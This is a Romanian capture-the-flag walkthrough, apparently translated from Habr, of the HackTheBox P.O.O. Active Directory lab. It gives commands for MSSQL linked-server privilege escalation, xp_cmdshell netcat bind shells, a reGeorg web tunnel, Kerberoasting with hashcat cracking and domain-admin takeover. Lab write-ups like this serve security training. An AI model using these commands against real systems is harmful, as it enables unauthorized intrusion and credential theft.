HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

În acest articol vom analiza nu doar un sistem, ci întreaga mini-laboratorie de pe platformă. HackTheBox.

După cum este menționat în descriere, P.O.O. este destinat evaluării abilităților în toate etapele atacurilor într-un mediu mic de Active Directory. Scopul este de a compromite gazda disponibilă, de a obține privilegii mai ridicate și, în cele din urmă, de a compromite întreaga domeniu, adunând astfel 5 steaguri.

Conectarea la laborator se face prin VPN. Este recomandat să nu te conectezi de pe calculatorul de serviciu sau de pe un sistem care conține date importante pentru tine, deoarece intri într-o rețea privată cu persoane care au anumite abilități în domeniul securității informației 🙂.

Informații organizaționale
Pentru ca voi să puteți afla despre articole noi, software și alte informații, am creat un canal pe Telegram și o grupă pentru discutarea oricăror întrebări în domeniul IiiKB. De asemenea, solicitările, întrebările, sugestiile și recomandările voastre le voi analiza personal și voi răspunde tuturor.

Toate informațiile sunt prezentate exclusiv în scopuri educaționale. Autorul acestui document nu își asumă nicio responsabilitate pentru daunele cauzate oricărei persoane ca urmare a utilizării cunoștințelor și metodelor obținute din studierea acestui document.

Intro

Acest endgame constă din două mașini și conține 5 steaguri.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

De asemenea, este oferit o descriere și adresa gazdei disponibile.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să începem!

Recon flag

Această mașină are adresa IP 10.13.38.11, pe care o adaug în /etc/hosts.
10.13.38.11 poo.htb

În primul rând, vom scana porturile deschise. Deoarece scanarea tuturor porturilor cu nmap durează mult, voi face mai întâi acest lucru folosind masscan. Vom scana toate porturile TCP și UDP de pe interfața tun0 cu o viteză de 500 de pachete pe secundă.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Acum, pentru a obține informații mai detaliate despre serviciile care rulează pe porturi, vom lansa un scan cu opțiunea -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, avem serviciile IIS și MSSQL. De asemenea, aflăm numele DNS real al domeniului și al computerului. Pe serverul web ne întâmpină pagina de start IIS.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să explorăm directoarele. Pentru aceasta, folosesc gobuster. În parametrii specific numărul de fire 128 (-t), URL (-u), dicționarul (-w) și extensiile care ne interesează (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, avem autentificare HTTP pentru directorul /admin, precum și un fișier disponibil de stocare al serviciului desktop .DS_Store. .DS_Store sunt fișiere care stochează setările utilizatorului pentru folder, cum ar fi lista de fișiere, locația pictogramelor, imaginea de fundal aleasă. Un astfel de fișier poate ajunge în directorul serverului web la dezvoltatorii web. Astfel, putem obține informații despre conținutul catalogului. Pentru aceasta, se poate utiliza DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Obținem conținutul catalogului. Ceea ce este cel mai interesant aici este catalogul /dev, din care putem vedea sursele și fișierele db în două ramuri. Dar putem obține primele 6 caractere ale numelui fișierelor și directorilor, dacă serviciul este vulnerabil la IIS ShortName. Verificarea acestei vulnerabilități se poate face cu ajutorul Scanner IIS shortname.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și găsim un fișier text care începe cu „poo_co”. Neștiind ce să fac mai departe, am ales pur și simplu din dicționarul de directoare toate cuvintele care încep cu „co”.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Și le verificăm folosind wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și găsim un cuvânt potrivit! Privim acest fișier, salvăm acreditivele (judecând după parametrul DBNAME, acestea sunt de la MSSQL).

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Predăm steagul și avansăm cu 20%.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Huh flag

Ne conectăm la MSSQL, folosesc DBeaver.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Nu găsim nimic interesant în această bază, haideți să creăm un Editor SQL și să verificăm ce utilizatori există.

SELECT name FROM master..syslogins;

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Avem doi utilizatori. Hai să verificăm privilegiile lor.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, nu avem privilegii. Să vedem serverele asociate, despre această metodă am scris detaliat aici.

SELECT * FROM master..sysservers;

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, găsim încă un server SQL. Să verificăm executarea comenzilor pe acest server folosind openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și chiar putem construi un arbore de interogări.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Problema este că, atunci când executăm o interogare pe serverul asociat, interogarea este executată în contextul unui alt utilizator! Haideți să vedem în contextul cărui utilizator lucrăm pe serverul asociat.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și acum să vedem în ce context sunt executate interogările de la serverul asociat pe al nostru!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, acesta este contextul DBO, care ar trebui să dețină toate privilegiile. Să verificăm privilegiile în cazul unei interogări de la serverul asociat.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Așa cum se poate observa, avem toate privilegiile! Să creăm un administrator pe cont propriu. Dar nu putem face asta prin openquery, așa că să procedăm prin EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Și acum ne conectăm cu datele de autentificare ale noului utilizator, observând noua bază de date flag.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Predăm acest flag și mergem mai departe.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

BackTrack flag

Vom obține shell prin MSSQL, folosesc mssqlclient din pachetul impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Trebuie să obținem parolele, iar primul lucru pe care l-am întâlnit deja este site-ul. Așa că avem nevoie de configurația serverului web (nu reușim să plasăm un shell convenabil, pare că funcționează firewall-ul).

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Dar accesul este interzis. Deși putem citi fișiere din MSSQL, trebuie doar să știm ce limbaje de programare sunt configurate. Și în directorul MSSQL aflăm că există Python.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Atunci nu ar fi nicio problemă să citim fișierul web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Cu datele de autentificare găsite, ne conectăm la /admin și preluăm flagul.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Foothold flag

De fapt, utilizarea firewall-ului aduce anumite neplăceri, dar, examinând setările de rețea, observăm că se folosește și un tunel IPv6!

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să adăugăm această adresă în /etc/hosts.
dead:babe::1001 poo6.htb
Hai să scanăm din nou gazda, dar de data aceasta prin protocolul IPv6.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și prin IPv6 este disponibil serviciul WinRM. Ne vom conecta cu datele de autentificare găsite.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Pe desktop există un flag, să-l predăm.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

P00ned flag

După ce am făcut recon pe gazdă folosind winpeas nu găsim nimic special. Atunci s-a decis să căutăm din nou datele de autentificare (despre aceasta am scris și eu articol). Dar nu am reușit să obțin toate SPN din sistem prin WinRM.

setspn.exe -T intranet.poo -Q *
/*

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să executăm comanda prin MSSQL.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Prin metoda indicată, obținem SPN-urile utilizatorilor p00_hr și p00_adm, iar aceasta înseamnă că sunt vulnerabili la un atac de tip Kerberoasting. Pe scurt, putem obține hash-urile parolelor lor.

Mai întâi, trebuie să obținem un shell stabil sub contul utilizatorului MSSQL. Dar, fiindcă accesul este restricționat, avem conexiune la gazdă doar prin porturile 80 și 1433. Totuși, există posibilitatea tunelării traficului prin portul 80! Pentru aceasta, folosim următoarea aplicație. Vom încarcă fișierul tunnel.aspx în directorul de bază al serverului web — C:inetpubwwwroot.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Dar când încercăm să ne conectăm la el, primim eroarea 404. Asta înseamnă că fișierele *.aspx nu sunt executate. Pentru ca fișierele cu această extensie să fie executate, vom instala ASP.NET 4.5 în felul următor.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și acum, când ne conectăm la tunnel.aspx, primim un mesaj că totul este gata de lucru.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să pornim partea client a aplicației care se va ocupa de retransmiterea traficului. Vom redirecționa tot traficul de pe portul 5432 către server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și folosim proxychains, pentru a redirecționa traficul oricărei aplicații prin proxy-ul nostru. Vom adăuga acest proxy în fișierul de configurație /etc/proxychains.conf.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Acum vom încărca pe server programul netcat, cu ajutorul căruia vom crea un shell bind stabil, și scriptul Invoke-Kerberoast, cu ajutorul căruia vom efectua atacul de Kerberoasting.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Acum, prin MSSQL, vom lansa listener-ul.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Și ne conectăm prin proxy-ul nostru.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Să obținem hash-urile.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Apoi, trebuie să încercăm aceste hash-uri. Deoarece în dictionarul rockyou nu erau aceste parole, am folosit TOATE dictionarele de parole oferite în Seclists. Pentru încercare, folosim hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Și găsim ambele parole, prima în dictionarul dutch_passwordlist.txt, iar a doua în Keyboard-Combinations.txt.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Astfel, avem trei utilizatori, mergem pe controlerul de domeniu. Mai întâi, aflăm adresa acestuia.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Excelent, am aflat IP-ul controllerului de domeniu. Să vedem toți utilizatorii domeniului, precum și cine dintre ei este administrator. Vom încărca scriptul pentru obținerea informațiilor PowerView.ps1. Apoi ne vom conecta prin evil-winrm, specificând în parametru -s directorul cu scriptul. Apoi, pur și simplu, vom încărca scriptul PowerView.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Acum avem acces la toate funcțiile sale. Utilizatorul p00_adm pare a fi privilegiat, așa că vom lucra în contextul său. Vom crea un obiect PSCredential pentru acest utilizator.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Acum toate comenzile Powershell, unde vom specifica Creds, vor fi executate în numele lui p00_adm. Să listăm utilizatorii și atributul AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Așadar, utilizatorul nostru este, într-adevăr, privilegiat. Să vedem în ce grupuri este inclus.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Confirmăm în cele din urmă că utilizatorul este administratorul domeniului. Acest lucru îi oferă dreptul de a se conecta la distanță la controllerul de domeniu. Hai să încercăm să ne conectăm prin WinRM, folosind tunelul nostru. M-a deranjat erorile generate de reGeorg când am folosit evil-winrm.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Atunci să folosim un alt script, mai simplu, script pentru a ne conecta la WinRM. Vom deschide și schimba parametrii de conectare.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Încercăm să ne conectăm și suntem în sistem.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Dar nu există steagul. Atunci să ne uităm la utilizator și să verificăm birourile de lucru.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

La mr3ks găsim steagul și laboratorul este completat 100%.

HackTheBox endgame. Parcurgerea laboratorului Professional Offensive Operations. Penetration testing Active Directory.

Asta e tot. Ca feedback, te rog să comentezi — ai învățat ceva nou din acest articol și a fost acesta util pentru tine?

Te poți alătura nouă în Telegram. Acolo vei putea găsi materiale interesante, cursuri scurse, precum și software. Să construim o comunitate în care se află oameni care înțeleg multe domenii IT, astfel încât să putem ajuta mereu unii pe alții cu orice întrebări IT și de securitate.

Sursa: habr.com

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster